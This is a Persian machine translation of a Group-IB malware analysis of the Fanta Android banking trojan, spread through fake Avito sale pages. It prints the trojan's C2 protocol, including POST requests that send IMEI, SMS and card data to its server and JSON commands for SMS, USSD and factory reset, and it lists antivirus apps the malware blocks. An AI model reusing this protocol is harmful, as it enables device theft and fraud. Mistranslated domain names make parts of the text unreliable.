Leysya, Fanta: یک تاکتیک جدید برای یک تروجان قدیمی اندروید

Leysya, Fanta: یک تاکتیک جدید برای یک تروجان قدیمی اندروید

یک روز می خواهید چیزی را در Avito بفروشید و پس از ارسال توضیحات دقیق محصول خود (مثلاً یک ماژول RAM)، این پیام را دریافت خواهید کرد:

Leysya, Fanta: یک تاکتیک جدید برای یک تروجان قدیمی اندرویدهنگامی که پیوند را باز می کنید، صفحه ای به ظاهر بی ضرر را مشاهده می کنید که به شما، فروشنده خوشحال و موفق، اطلاع می دهد که خرید انجام شده است:

Leysya, Fanta: یک تاکتیک جدید برای یک تروجان قدیمی اندروید
پس از کلیک بر روی دکمه "ادامه"، یک فایل APK با یک نماد و یک نام قابل اعتماد در دستگاه Android شما دانلود می شود. شما یک برنامه نصب کردید که بنا به دلایلی حقوق AccessibilityService را درخواست کرد، سپس یکی دو پنجره ظاهر شد و سریع ناپدید شد و ... همین.

شما برای بررسی موجودی خود می روید، اما به دلایلی برنامه بانکی شما دوباره مشخصات کارت شما را می خواهد. پس از وارد کردن داده ها، اتفاق وحشتناکی رخ می دهد: به دلایلی که هنوز برای شما مشخص نیست، پول از حساب شما ناپدید می شود. شما در حال تلاش برای حل مشکل هستید، اما تلفن شما مقاومت می کند: کلیدهای "بازگشت" و "صفحه اصلی" را فشار می دهد، خاموش نمی شود و به شما اجازه نمی دهد هیچ گونه اقدامات امنیتی را فعال کنید. در نتیجه، شما بدون پول می مانید، کالاهای شما خریداری نشده است، شما گیج می شوید و می پرسید: چه اتفاقی افتاده است؟

پاسخ ساده است: شما قربانی تروجان اندروید فانتا، یکی از اعضای خانواده Flexnet شده اید. چگونه این اتفاق افتاد؟ حالا توضیح می دهیم.

نویسنده: آندری پولوینکین، متخصص جوان در تجزیه و تحلیل بدافزار، ایوان پیساروف، متخصص در تجزیه و تحلیل بدافزار.

برخی آمارها

خانواده Flexnet از تروجان های اندروید برای اولین بار در سال 2015 شناخته شدند. طی یک دوره فعالیت نسبتاً طولانی، خانواده به چندین زیرگونه گسترش یافت: Fanta، Limebot، Lipton و غیره. تروجان، و همچنین زیرساخت های مرتبط با آن، ثابت نمی ماند: طرح های توزیع موثر جدید در حال توسعه هستند - در مورد ما، صفحات فیشینگ با کیفیت بالا با هدف یک کاربر فروشنده خاص، و توسعه دهندگان تروجان از روندهای مد روز پیروی می کنند. نوشتن ویروس - افزودن قابلیت‌های جدیدی که امکان سرقت مؤثرتر پول از دستگاه‌های آلوده و دور زدن مکانیسم‌های حفاظتی را فراهم می‌کند.

کمپینی که در این مقاله توضیح داده شده است، کاربران روسیه را هدف قرار داده است؛ تعداد کمی از دستگاه های آلوده در اوکراین و حتی کمتر در قزاقستان و بلاروس ثبت شده است.

با وجود اینکه Flexnet بیش از 4 سال است که در عرصه تروجان اندروید حضور دارد و توسط بسیاری از محققان به طور دقیق مورد مطالعه قرار گرفته است، اما هنوز وضعیت خوبی دارد. از ژانویه 2019، میزان بالقوه خسارت بیش از 35 میلیون روبل است - و این فقط برای کمپین ها در روسیه است. در سال 2015، نسخه های مختلفی از این تروجان اندرویدی در انجمن های زیرزمینی فروخته شد که کد منبع تروجان با توضیحات دقیق نیز در آنجا یافت می شود. این بدان معنی است که آمار خسارت در جهان حتی چشمگیرتر است. برای چنین پیرمردی شاخص بدی نیست، اینطور نیست؟

Leysya, Fanta: یک تاکتیک جدید برای یک تروجان قدیمی اندروید

از فروش تا فریب

همانطور که از تصویر قبلی ارائه شده از صفحه فیشینگ برای سرویس اینترنت برای ارسال تبلیغات Avito مشاهده می شود، برای یک قربانی خاص آماده شده است. ظاهراً مهاجمان از یکی از تجزیه کننده های Avito استفاده می کنند که شماره تلفن و نام فروشنده و همچنین توضیحات محصول را استخراج می کند. پس از گسترش صفحه و تهیه فایل APK، یک اس ام اس به قربانی با نام وی و پیوندی به صفحه فیشینگ حاوی توضیحات محصول و مبلغ دریافتی از "فروش" محصول ارسال می شود. با کلیک بر روی دکمه، کاربر یک فایل APK مخرب - Fanta را دریافت می کند.

مطالعه دامنه shcet491[.]ru نشان داد که به سرورهای DNS Hostinger واگذار شده است:

  • ns1.hostinger.ru
  • ns2.hostinger.ru
  • ns3.hostinger.ru
  • ns4.hostinger.ru

فایل ناحیه دامنه شامل ورودی هایی است که به آدرس های IP 31.220.23[.]236، 31.220.23[.]243 و 31.220.23[.]235 اشاره می کنند. با این حال، رکورد منبع اصلی دامنه (A record) به سروری با آدرس IP 178.132.1[.]240 اشاره می کند.

آدرس IP 178.132.1[.]240 در هلند واقع شده است و متعلق به میزبان است WorldStream. آدرس‌های IP 31.220.23[.]235، 31.220.23[.]236 و 31.220.23[.]243 در بریتانیا واقع شده‌اند و به سرور میزبانی مشترک HOSTINGER تعلق دارند. به عنوان ضبط کننده استفاده می شود openprov-ru. دامنه های زیر نیز به آدرس IP 178.132.1[.]240 حل و فصل شدند:

  • sdelka-ru[.]ru
  • tovar-av[.]ru
  • av-tovar[.]ru
  • ru-sdelka[.]ru
  • shcet382[.]ru
  • sdelka221[.]ru
  • sdelka211[.]ru
  • vyplata437[.]ru
  • viplata291[.]ru
  • perevod273[.]ru
  • perevod901[.]ru

لازم به ذکر است که پیوندهایی با فرمت زیر تقریباً از همه دامنه ها موجود بود:

http://(www.){0,1}<%domain%>/[0-9]{7}

این الگو همچنین شامل یک لینک از یک پیام کوتاه است. بر اساس داده های تاریخی، مشخص شد که یک دامنه با چندین پیوند در الگوی شرح داده شده در بالا مطابقت دارد، که نشان می دهد از یک دامنه برای توزیع تروجان به چندین قربانی استفاده شده است.

بیایید کمی جلوتر بپریم: تروجان دانلود شده از طریق پیوندی از پیامک از آدرس به عنوان یک سرور کنترل استفاده می کند. باشگاه onusedseddohap[.]. این دامنه در تاریخ 2019/03/12 ثبت شده است و از تاریخ 2019/04/29 اپلیکیشن‌های APK با این دامنه تعامل داشتند. بر اساس داده های به دست آمده از VirusTotal، در مجموع 109 برنامه کاربردی با این سرور تعامل داشته اند. دامنه خود به آدرس IP حل شد 217.23.14[.]27، واقع در هلند و متعلق به میزبان است WorldStream. به عنوان ضبط کننده استفاده می شود نام کاربری. دامنه ها نیز به این آدرس IP حل شده اند بد راکون[.]باشگاه (شروع از 2018/09/25) و bad-racoon[.]زنده (شروع از 2018-10-25). با دامنه بد راکون[.]باشگاه بیش از 80 فایل APK در تعامل با bad-racoon[.]زنده - بیش از 100.

به طور کلی، حمله به شرح زیر است:

Leysya, Fanta: یک تاکتیک جدید برای یک تروجان قدیمی اندروید

زیر درب فانتا چیست؟

مانند بسیاری دیگر از تروجان های اندروید، Fanta قادر به خواندن و ارسال پیامک، درخواست USSD و نمایش پنجره های خود در بالای برنامه ها (از جمله برنامه های بانکی) است. با این حال، زرادخانه عملکرد این خانواده وارد شده است: Fanta شروع به استفاده کرد سرویس دسترسی برای اهداف مختلف: خواندن محتویات اعلان ها از سایر برنامه ها، جلوگیری از شناسایی و توقف اجرای تروجان در دستگاه آلوده و غیره. Fanta روی همه نسخه‌های اندروید که کمتر از 4.4 نیستند کار می‌کند. در این مقاله نگاهی دقیق تر به نمونه فانتای زیر خواهیم داشت:

  • MD5: 0826bd11b2c130c4c8ac137e395ac2d4
  • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
  • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

بلافاصله پس از راه اندازی

بلافاصله پس از راه اندازی، تروجان نماد خود را پنهان می کند. این برنامه فقط در صورتی می تواند کار کند که نام دستگاه آلوده در لیست نباشد:

  • android_x86
  • نرم افزار VirtualBox
  • Nexus 5X (گلوله)
  • Nexus 5 (تیغ)

این بررسی در سرویس اصلی تروجان انجام می شود - MainService. هنگامی که برای اولین بار راه اندازی می شود، پارامترهای پیکربندی برنامه به مقادیر پیش فرض اولیه می شوند (فرمت ذخیره سازی داده های پیکربندی و معنای آنها بعداً مورد بحث قرار خواهد گرفت)، و یک دستگاه آلوده جدید در سرور کنترل ثبت می شود. یک درخواست HTTP POST با نوع پیام به سرور ارسال خواهد شد register_bot و اطلاعات مربوط به دستگاه آلوده (نسخه اندروید، IMEI، شماره تلفن، نام اپراتور و کد کشوری که اپراتور در آن ثبت شده است). آدرس به عنوان سرور کنترل عمل می کند hXXp://onuseseddohap[.]club/controller.php. در پاسخ، سرور پیامی حاوی فیلدها ارسال می کند bot_id, bot_pwd, سرور - برنامه این مقادیر را به عنوان پارامترهای سرور CnC ذخیره می کند. پارامتر سرور اگر فیلد دریافت نشد اختیاری است: Fanta از آدرس ثبت نام استفاده می کند - hXXp://onuseseddohap[.]club/controller.php. از عملکرد تغییر آدرس CnC می توان برای حل دو مشکل استفاده کرد: توزیع بار به طور مساوی بین چندین سرور (اگر تعداد زیادی دستگاه آلوده وجود داشته باشد، بار روی یک وب سرور بهینه نشده می تواند زیاد باشد) و همچنین استفاده از یک سرور جایگزین در صورت خرابی یکی از سرورهای CnC.

اگر هنگام ارسال درخواست خطایی رخ دهد، تروجان فرآیند ثبت نام را پس از 20 ثانیه تکرار می کند.

پس از ثبت موفقیت آمیز دستگاه، Fanta پیام زیر را به کاربر نمایش می دهد:

Leysya, Fanta: یک تاکتیک جدید برای یک تروجان قدیمی اندروید
نکته مهم: سرویس تماس گرفت امنیت سیستم - نام سرویس Trojan و پس از کلیک بر روی دکمه خوب پنجره ای با تنظیمات دسترسی دستگاه آلوده باز می شود که در آن کاربر باید حقوق دسترسی را برای سرویس مخرب اعطا کند:

Leysya, Fanta: یک تاکتیک جدید برای یک تروجان قدیمی اندروید
به محض روشن شدن کاربر سرویس دسترسی، Fanta به محتویات پنجره های برنامه و اقدامات انجام شده در آنها دسترسی پیدا می کند:

Leysya, Fanta: یک تاکتیک جدید برای یک تروجان قدیمی اندروید
بلافاصله پس از دریافت حقوق دسترسی، تروجان از حقوق سرپرست و حقوق خواندن اعلان ها درخواست می کند:

Leysya, Fanta: یک تاکتیک جدید برای یک تروجان قدیمی اندروید
با استفاده از AccessibilityService، این برنامه ضربات کلید را شبیه‌سازی می‌کند و از این طریق تمام حقوق لازم را به خود می‌دهد.

Fanta نمونه های پایگاه داده متعددی را ایجاد می کند (که بعداً توضیح داده خواهد شد) لازم برای ذخیره داده های پیکربندی و همچنین اطلاعات جمع آوری شده در فرآیند در مورد دستگاه آلوده. برای ارسال اطلاعات جمع آوری شده، تروجان یک کار تکراری ایجاد می کند که برای دانلود فیلدها از پایگاه داده و دریافت دستور از سرور کنترل طراحی شده است. فاصله دسترسی به CnC بسته به نسخه اندروید تنظیم می شود: در مورد 5.1، فاصله 10 ثانیه و در غیر این صورت 60 ثانیه خواهد بود.

برای دریافت فرمان، فانتا درخواستی می دهد GetTask به سرور مدیریت در پاسخ، CnC می تواند یکی از دستورات زیر را ارسال کند:

تیم شرح
0 ارسال پیامک
1 تماس تلفنی یا دستور USSD برقرار کنید
2 یک پارامتر را به روز می کند فاصله
3 یک پارامتر را به روز می کند جدا کردن
6 یک پارامتر را به روز می کند smsManager
9 شروع به جمع آوری پیامک کنید
11 گوشی خود را به تنظیمات کارخانه بازنشانی کنید
12 فعال/غیرفعال کردن گزارش ایجاد کادر محاوره ای

Fanta همچنین اعلان‌ها را از ۷۰ اپلیکیشن بانکی، سیستم‌های پرداخت سریع و کیف‌پول‌های الکترونیکی جمع‌آوری می‌کند و آنها را در یک پایگاه داده ذخیره می‌کند.

ذخیره پارامترهای پیکربندی

برای ذخیره پارامترهای پیکربندی، Fanta از یک رویکرد استاندارد برای پلتفرم اندروید استفاده می کند - تنظیمات-فایل ها. تنظیمات در فایلی با نام ذخیره می شود تنظیمات. شرح پارامترهای ذخیره شده در جدول زیر آمده است.

نام مقدار پیش فرض مقادیر ممکن شرح
id 0 عدد صحیح شناسه ربات
سرور hXXp://onuseseddohap[.]club/ URL آدرس سرور را کنترل کنید
pwd - رشته رمز سرور
فاصله 20 عدد صحیح فاصله زمانی. نشان می دهد که چه مدت باید وظایف زیر به تعویق افتاد:

  • هنگام ارسال درخواست در مورد وضعیت پیامک ارسال شده
  • دریافت فرمان جدید از سرور مدیریت

جدا کردن تمام همه / شماره تلفن اگر فیلد برابر با رشته باشد تمام یا شماره تلفن، سپس پیامک دریافتی توسط برنامه رهگیری می شود و به کاربر نشان داده نمی شود
smsManager 0 0/1 برنامه را به عنوان گیرنده پیامک پیش فرض فعال/غیرفعال کنید
readDialog غلط درست غلط فعال/غیرفعال کردن گزارش رویداد AccessibilityEvent

Fanta نیز از فایل استفاده می کند smsManager:

نام مقدار پیش فرض مقادیر ممکن شرح
pckg - رشته نام مدیر پیامک استفاده شده

تعامل با پایگاه های داده

تروجان در طول عملیات خود از دو پایگاه داده استفاده می کند. پایگاه داده نامگذاری شد a برای ذخیره اطلاعات مختلف جمع آوری شده از تلفن استفاده می شود. پایگاه داده دوم نامگذاری شده است fanta.db و برای ذخیره تنظیمات مسئول ایجاد پنجره های فیشینگ طراحی شده برای جمع آوری اطلاعات کارت های بانکی استفاده می شود.

تروجان از پایگاه داده استفاده می کند а برای ذخیره اطلاعات جمع آوری شده و ثبت اقدامات خود. داده ها در یک جدول ذخیره می شوند سیاهههای مربوط. برای ایجاد جدول، از پرس و جوی SQL زیر استفاده کنید:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

پایگاه داده حاوی اطلاعات زیر است:

1. ثبت راه اندازی دستگاه آلوده با یک پیام گوشی روشن شد!

2. اعلان های برنامه ها. پیام طبق الگوی زیر تولید می شود:

(<%App Name%>)<%Title%>: <%Notification text%>

3. داده های کارت بانکی از فرم های فیشینگ ایجاد شده توسط تروجان. پارامتر VIEW_NAME ممکن است یکی از موارد زیر باشد:

  • Aliexpress به
  • آویوتیو
  • گوگل بازی
  • متفرقه <%نام برنامه%>

پیام به فرمت وارد شده است:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. پیامک های ورودی/خروجی در قالب:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. اطلاعات مربوط به بسته ای که کادر محاوره ای را در قالب ایجاد می کند:

(<%Package name%>)<%Package information%>

جدول نمونه سیاهههای مربوط:

Leysya, Fanta: یک تاکتیک جدید برای یک تروجان قدیمی اندروید
یکی از قابلیت های فانتا جمع آوری اطلاعات کارت های بانکی است. جمع آوری داده ها از طریق ایجاد پنجره های فیشینگ هنگام باز کردن برنامه های بانکی انجام می شود. تروجان فقط یک بار پنجره فیشینگ را ایجاد می کند. اطلاعاتی که پنجره به کاربر نشان داده شده است در یک جدول ذخیره می شود تنظیمات در پایگاه داده fanta.db. برای ایجاد پایگاه داده، از پرس و جوی SQL زیر استفاده کنید:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

تمام فیلدهای جدول تنظیمات به طور پیش فرض به 1 مقداردهی اولیه می شود (یک پنجره فیشینگ ایجاد کنید). پس از اینکه کاربر داده های خود را وارد کرد، مقدار 0 تنظیم می شود. نمونه ای از فیلدهای جدول تنظیمات:

  • can_login - این فیلد وظیفه نمایش فرم را هنگام باز کردن برنامه بانکی دارد
  • first_bank - استفاده نشده
  • can_avito - این قسمت وظیفه نمایش فرم را هنگام باز کردن برنامه Avito دارد
  • can_ali - این قسمت وظیفه نمایش فرم را هنگام باز کردن برنامه Aliexpress دارد
  • می تواند_دیگر - این فیلد وظیفه نمایش فرم را هنگام باز کردن هر برنامه ای از لیست دارد: Yula، Pandao، Drom Auto، کیف پول. کارت های تخفیف و جایزه، Aviasales، رزرو، Trivago
  • can_card - فیلد وظیفه نمایش فرم را هنگام باز کردن دارد گوگل بازی

تعامل با سرور مدیریت

تعامل شبکه با سرور مدیریت از طریق پروتکل HTTP رخ می دهد. برای کار با شبکه، فانتا از کتابخانه محبوب Retrofit استفاده می کند. درخواست ها به آدرس زیر ارسال می شود: hXXp://onuseseddohap[.]club/controller.php. آدرس سرور هنگام ثبت نام در سرور قابل تغییر است. ممکن است کوکی ها در پاسخ از سرور ارسال شوند. Fanta درخواست های زیر را به سرور ارائه می دهد:

  • ثبت ربات در سرور کنترل یک بار و در اولین راه اندازی انجام می شود. داده های زیر در مورد دستگاه آلوده به سرور ارسال می شود:
    · شیرینی - کوکی های دریافت شده از سرور (مقدار پیش فرض یک رشته خالی است)
    · حالت - ثابت رشته register_bot
    · پیشوند - ثابت عدد صحیح 2
    · version_sdk - بر اساس الگوی زیر تشکیل شده است: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
    · سریال - IMEI دستگاه آلوده
    · کشور - کد کشوری که اپراتور در آن ثبت شده است، در قالب ISO
    · عدد - شماره تلفن
    · اپراتور - نام اپراتور

    نمونه ای از درخواست ارسال شده به سرور:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
    

    در پاسخ به درخواست، سرور باید یک شی JSON حاوی پارامترهای زیر را برگرداند:
    · bot_id - شناسه دستگاه آلوده اگر bot_id برابر با 0 باشد، Fanta درخواست را دوباره اجرا می کند.
    bot_pwd - رمز عبور برای سرور
    سرور - کنترل آدرس سرور پارامتر اختیاری اگر پارامتر مشخص نشده باشد، از آدرس ذخیره شده در برنامه استفاده می شود.

    مثال شیء JSON:

    {
        "response":[
       	 {
       		 "bot_id": <%BOT_ID%>,
       		 "bot_pwd": <%BOT_PWD%>,
       		 "server": <%SERVER%>
       	 }
        ],
        "status":"ok"
    }

  • درخواست دریافت دستور از سرور. داده های زیر به سرور ارسال می شود:
    · شیرینی - کوکی های دریافت شده از سرور
    · پیشنهاد - شناسه دستگاه آلوده که هنگام ارسال درخواست دریافت شده است register_bot
    · pwd - رمز عبور برای سرور
    · divice_admin - فیلد تعیین می کند که آیا حقوق مدیر به دست آمده است یا خیر. اگر حقوق مدیر به دست آمده باشد، فیلد برابر است با 1، در غیر این صورت 0
    · دسترسی - وضعیت عملکرد سرویس دسترسی. اگر سرویس شروع شده باشد، مقدار آن است 1، در غیر این صورت 0
    · مدیر پیامک - نشان می دهد که آیا تروجان به عنوان برنامه پیش فرض برای دریافت پیامک فعال است یا خیر
    · پرده - نشان می دهد که صفحه در چه وضعیتی است. مقدار تنظیم خواهد شد 1، اگر صفحه نمایش روشن است، در غیر این صورت 0;

    نمونه ای از درخواست ارسال شده به سرور:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

    بسته به دستور، سرور می تواند یک شی JSON را با پارامترهای مختلف برگرداند:

    · تیم ارسال پیامک: پارامترها شامل شماره تلفن، متن پیامک و شناسه پیام در حال ارسال است. شناسه هنگام ارسال پیام به سرور با نوع استفاده می شود setSmsStatus.

    {
        "response":
        [
       	 {
       		 "mode": 0,
       		 "sms_number": <%SMS_NUMBER%>,
       		 "sms_text": <%SMS_TEXT%>,
       		 "sms_id": %SMS_ID%
       	 }
        ],
        "status":"ok"
    }

    · تیم تماس تلفنی یا دستور USSD برقرار کنید: شماره تلفن یا فرمان در بدنه پاسخ می آید.

    {
        "response":
        [
       	 {
       		 "mode": 1,
       		 "command": <%TEL_NUMBER%>
       	 }
        ],
        "status":"ok"
    }

    · تیم تغییر پارامتر فاصله.

    {
        "response":
        [
       	 {
       		 "mode": 2,
       		 "interval": <%SECONDS%>
       	 }
        ],
        "status":"ok"
    }

    · تیم تغییر پارامتر رهگیری.

    {
        "response":
        [
       	 {
       		 "mode": 3,
       		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
       	 }
        ],
        "status":"ok"
    }

    · تیم فیلد SmsManager را تغییر دهید.

    {
        "response":
        [
       	 {
       		 "mode": 6,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

    · تیم پیام های SMS را از دستگاه آلوده جمع آوری کنید.

    {
        "response":
        [
       	 {
       		 "mode": 9
       	 }
        ],
        "status":"ok"
    }

    · تیم گوشی خود را به تنظیمات کارخانه بازنشانی کنید:

    {
        "response":
        [
       	 {
       		 "mode": 11
       	 }
        ],
        "status":"ok"
    }

    · تیم پارامتر ReadDialog را تغییر دهید.

    {
        "response":
        [
       	 {
       		 "mode": 12,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

  • ارسال پیام با تایپ setSmsStatus. این درخواست پس از اجرای دستور انجام می شود ارسال پیامک. درخواست به این شکل است:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

  • بارگذاری محتویات پایگاه داده یک ردیف در هر درخواست ارسال می شود. داده های زیر به سرور ارسال می شود:
    · شیرینی - کوکی های دریافت شده از سرور
    · حالت - ثابت رشته setSaveInboxSms
    · پیشنهاد - شناسه دستگاه آلوده که هنگام ارسال درخواست دریافت شده است register_bot
    · متن - متن در رکورد فعلی پایگاه داده (فیلد d از روی میز سیاهههای مربوط در پایگاه داده а)
    · عدد - نام رکورد فعلی پایگاه داده (فیلد p از روی میز سیاهههای مربوط در پایگاه داده а)
    · sms_mode - مقدار صحیح (فیلد m از روی میز سیاهههای مربوط در پایگاه داده а)

    درخواست به این شکل است:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

    اگر با موفقیت به سرور ارسال شود، ردیف از جدول حذف می شود. نمونه ای از یک شی JSON که توسط سرور برگردانده شده است:

    {
        "response":[],
        "status":"ok"
    }

تعامل با AccessibilityService

AccessibilityService برای سهولت استفاده از دستگاه های اندرویدی برای افراد دارای معلولیت پیاده سازی شد. در بیشتر موارد، تعامل فیزیکی برای تعامل با یک برنامه مورد نیاز است. AccessibilityService به شما امکان می دهد آنها را به صورت برنامه نویسی انجام دهید. فانتا از این سرویس برای ایجاد پنجره های جعلی در برنامه های بانکی و جلوگیری از باز کردن تنظیمات سیستم و برخی برنامه ها توسط کاربران استفاده می کند.

با استفاده از عملکرد AccessibilityService، تروجان تغییرات عناصر موجود در صفحه دستگاه آلوده را نظارت می کند. همانطور که قبلاً توضیح داده شد، تنظیمات Fanta حاوی پارامتری است که مسئول عملیات ثبت با کادرهای محاوره ای است - readDialog. اگر این پارامتر تنظیم شود، اطلاعات مربوط به نام و توضیحات بسته ای که رویداد را راه اندازی کرده است به پایگاه داده اضافه می شود. تروجان هنگام راه اندازی رویدادها اقدامات زیر را انجام می دهد:

  • فشردن کلیدهای back و home را در موارد زیر شبیه سازی می کند:
    · اگر کاربر بخواهد دستگاه خود را راه اندازی مجدد کند
    · اگر کاربر بخواهد برنامه "Avito" را حذف کند یا حقوق دسترسی را تغییر دهد
    · اگر در صفحه به برنامه "Avito" اشاره شده باشد
    · هنگام باز کردن برنامه Google Play Protect
    · هنگام باز کردن صفحات با تنظیمات AccessibilityService
    · وقتی کادر محاوره ای System Security ظاهر می شود
    · هنگام باز کردن صفحه با تنظیمات "Draw over other app"
    · هنگام باز کردن صفحه "برنامه ها"، "بازیابی و بازنشانی"، "بازنشانی داده ها"، "تنظیم مجدد تنظیمات"، "پانل توسعه دهنده"، "ویژه. فرصت ها، «فرصت های ویژه»، «حقوق ویژه»
    · اگر رویداد توسط برنامه های خاص ایجاد شده باشد.

    لیست برنامه های کاربردی

    • اندروید
    • استاد لایت
    • تمیز کردن کارشناسی ارشد
    • Clean Master برای پردازنده x86
    • مدیریت مجوز برنامه Meizu
    • امنیت MIUI
    • Clean Master - آنتی ویروس و کش و پاک کننده زباله
    • کنترل‌های والدین و GPS: Kaspersky SafeKids
    • آنتی ویروس کسپرسکی AppLock و امنیت وب بتا
    • ویروس پاک کننده، آنتی ویروس، پاک کننده (MAX Security)
    • Mobile Antivirus Security PRO
    • آنتی ویروس Avast و محافظت رایگان 2019
    • مگافون امنیت موبایل
    • محافظت AVG برای Xperia
    • موبایلьная Безопасность
    • آنتی ویروس و محافظت Malwarebytes
    • آنتی ویروس اندروید 2019
    • Master Security - آنتی ویروس، VPN، AppLock، Booster
    • آنتی ویروس AVG برای مدیریت سیستم تبلت هواوی
    • قابلیت دسترسی سامسونگ
    • مدیر هوشمند سامسونگ
    • استاد امنیت
    • تقویت کننده سرعت
    • دکتر وب
    • فضای امنیتی Dr.Web
    • مرکز کنترل موبایل Dr.Web
    • Dr.Web Security Space Life
    • مرکز کنترل موبایل Dr.Web
    • آنتی ویروس و امنیت موبایل
    • Kaspersky Internet Security: آنتی ویروس و حفاظت
    • عمر باتری Kaspersky: Saver & Booster
    • Kaspersky Endpoint Security - حفاظت و مدیریت
    • آنتی ویروس رایگان AVG 2019 – محافظت برای اندروید
    • آنتی ویروس اندروید
    • امنیت و آنتی ویروس نورتون موبایل
    • آنتی ویروس، فایروال، VPN، امنیت موبایل
    • امنیت موبایل: آنتی ویروس، VPN، محافظت در برابر سرقت
    • آنتی ویروس برای اندروید

  • اگر هنگام ارسال یک پیام کوتاه به یک شماره کوتاه، مجوز درخواست شود، فانتا کلیک کردن روی کادر انتخاب را شبیه‌سازی می‌کند. انتخاب را به خاطر بسپار و دکمه برای ارسال.
  • وقتی می‌خواهید حقوق مدیر را از تروجان سلب کنید، صفحه گوشی قفل می‌شود.
  • از اضافه شدن مدیران جدید جلوگیری می کند.
  • اگر برنامه آنتی ویروس dr.web تهدیدی را شناسایی کرد، فانتا فشار دادن دکمه را تقلید می کند چشم پوشی.
  • تروجان فشردن دکمه بازگشت و صفحه اصلی را در صورتی که رویداد توسط برنامه ایجاد شده باشد شبیه سازی می کند مراقبت از دستگاه سامسونگ.
  • اگر برنامه‌ای از فهرستی از حدود 30 سرویس مختلف اینترنتی راه‌اندازی شود، Fanta پنجره‌های فیشینگ با فرم‌هایی برای وارد کردن اطلاعات کارت‌های بانکی ایجاد می‌کند. از جمله: AliExpress، Booking، Avito، Google Play Market Component، Pandao، Drom Auto و غیره.

    فرم های فیشینگ

    Fanta تجزیه و تحلیل می کند که کدام برنامه ها روی دستگاه آلوده اجرا می شوند. اگر برنامه مورد علاقه باز شود، تروجان یک پنجره فیشینگ را در بالای همه موارد دیگر نمایش می دهد که فرمی برای وارد کردن اطلاعات کارت بانکی است. کاربر باید داده های زیر را وارد کند:

    • شماره کارت
    • تاریخ انقضای کارت
    • CVV
    • نام دارنده کارت (نه برای همه بانک ها)

    بسته به برنامه در حال اجرا، پنجره های مختلف فیشینگ نمایش داده می شود. در زیر نمونه هایی از برخی از آنها آورده شده است:

    AliExpress:

    Leysya, Fanta: یک تاکتیک جدید برای یک تروجان قدیمی اندروید
    آویتو:

    Leysya, Fanta: یک تاکتیک جدید برای یک تروجان قدیمی اندروید
    برای برخی از برنامه های کاربردی دیگر، به عنوان مثال. Google Play Market، Aviasales، Pandao، Booking، Trivago:
    Leysya, Fanta: یک تاکتیک جدید برای یک تروجان قدیمی اندروید

    واقعا چطور بود

    خوشبختانه فردی که پیام کوتاه توضیح داده شده در ابتدای مقاله را دریافت کرده است، یک متخصص امنیت سایبری است. بنابراین، نسخه واقعی و غیر کارگردان با نسخه قبلی متفاوت است: شخصی یک اس ام اس جالب دریافت کرد و پس از آن آن را به تیم اطلاعات شکار تهدید Group-IB داد. نتیجه حمله همین مقاله است. پایان مبارک، درست است؟ با این حال، همه داستان‌ها با موفقیت تمام نمی‌شوند، و برای اینکه داستان شما با ضرر یک کارگردان به نظر نرسد، در بیشتر موارد کافی است به قوانین طولانی توضیح داده شده زیر پایبند باشید:

    • برنامه های کاربردی برای دستگاه تلفن همراه با سیستم عامل Android را از هیچ منبعی غیر از Google Play نصب نکنید
    • هنگام نصب اپلیکیشن به حقوق درخواستی اپلیکیشن توجه ویژه ای داشته باشید
    • به پسوند فایل های دانلود شده توجه کنید
    • به روز رسانی سیستم عامل اندروید را به طور منظم نصب کنید
    • از منابع مشکوک بازدید نکنید و فایل ها را از آنجا دانلود نکنید
    • روی لینک های دریافت شده در پیامک ها کلیک نکنید.

منبع: www.habr.com

اضافه کردن نظر